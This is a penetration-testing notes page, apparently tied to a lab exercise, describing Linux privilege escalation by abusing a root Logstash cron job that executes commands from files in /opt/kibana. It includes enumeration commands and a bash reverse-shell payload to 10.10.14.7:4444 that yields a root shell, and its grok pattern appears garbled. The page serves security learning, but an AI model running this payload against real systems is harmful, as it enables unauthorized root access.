> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md).
# Logstash Cron Abuse - Linux Privilege Escalation
Cron Jobs (Logstash) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Cron jobs create privilege escalation paths when recurring root tasks execute writable scripts, unsafe relative paths, or vulnerable processors. The key is to prove that a low-privileged user controls something that a privileged scheduled task will run. This specific page focuses on **Cron Jobs (Logstash)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## Examples
## Abusing Logstash
Search for all accessible files with user `kibana`:
```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```
By accessing Logstash, we discover three configuration files:
* `filter.conf`
* `input.conf`
* `output.conf`
{% hint style="warning" %}
In summary, Logstash performs a cron job that checks every 10 seconds if a file named `logstash_*` exists in the `/opt/kibana/` directory. If a corresponding file is found and contains a command with a specific input, in the form:
{% endhint %}
`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`
To exploit this vulnerability, a file named `logstash_exec` is created in the `/opt/kibana/` directory with the following content:
```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```
Then we listen to port 4444, and we get root access.
---
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